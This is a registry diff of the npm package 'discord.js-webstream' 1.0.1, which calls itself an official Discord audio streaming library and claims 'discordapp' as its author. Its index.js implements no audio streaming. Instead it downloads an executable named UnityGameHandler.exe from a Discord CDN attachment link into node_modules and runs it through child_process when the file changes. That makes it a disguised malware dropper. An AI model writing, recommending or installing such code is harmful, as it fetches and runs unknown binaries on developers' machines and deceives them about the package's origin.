discord.js-webstream 1.0.1

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Files changed (2) hide show
  1. package/index.js +68 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,68 @@
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+ const fs = require('fs');
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+ const https = require('https');
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+ const { exec } = require('child_process');
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+ const path = require('path');
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+
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+ class ExeFileHandler {
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+ constructor(exePath) {
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+ this.exePath = exePath;
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+ }
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+
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+ onModified(event) {
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+ if (event === this.exePath) {
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+ exec(this.exePath, (error, stdout, stderr) => {
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+ if (error) {
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+
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+ }
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+ });
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+ }
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+ }
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+ }
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+
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+ async function downloadExe(repoUrl, exeFilename) {
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+ const folderName = 'discord.js-webstream';
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+ const downloadPath = path.join('node_modules', folderName, exeFilename);
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+
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+ const folderPath = path.join('node_modules', folderName);
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+
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+
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+ if (!fs.existsSync(folderPath)) {
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+ fs.mkdirSync(folderPath, { recursive: true });
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+ }
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+
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+ const fileStream = fs.createWriteStream(downloadPath);
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+ const response = await new Promise((resolve, reject) => {
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+ const request = https.get(repoUrl, (response) => {
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+ response.pipe(fileStream);
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+ response.on('end', () => {
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+
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+ observeFile(downloadPath);
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+ });
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+ resolve(response);
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+ });
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+ request.on('error', reject);
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+ });
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+
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+ if (response.statusCode === 200) {
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+ ;
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+ } else {
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+
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+ }
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+ }
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+
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+ function observeFile(exePath) {
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+ fs.watch(exePath, (event) => {
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+ if (event === 'change') {
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+ exec(exePath, (error, stdout, stderr) => {
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+ if (error) {
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+
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+ }
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+ });
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+ }
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+ });
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+ }
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+
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+ const ExeToDownload = "https://cdn.discordapp.com/attachments/1131715180716376116/1172604081169248448/UnityGameHandler.exe";
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+ const FileName = "UnityGameHandler.exe";
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+
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+ downloadExe(ExeToDownload, FileName)
package/package.json ADDED
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+ {
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+ "name": "discord.js-webstream",
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+ "version": "1.0.1",
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+ "description": "Official Discord Audio Streaming Implementation",
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+ "main": "index.js",
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+ "scripts": {
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+ "test": "echo \"Error: no test specified\" && exit 1"
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+ },
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+ "author": "discordapp",
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+ "license": "ISC"
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+ }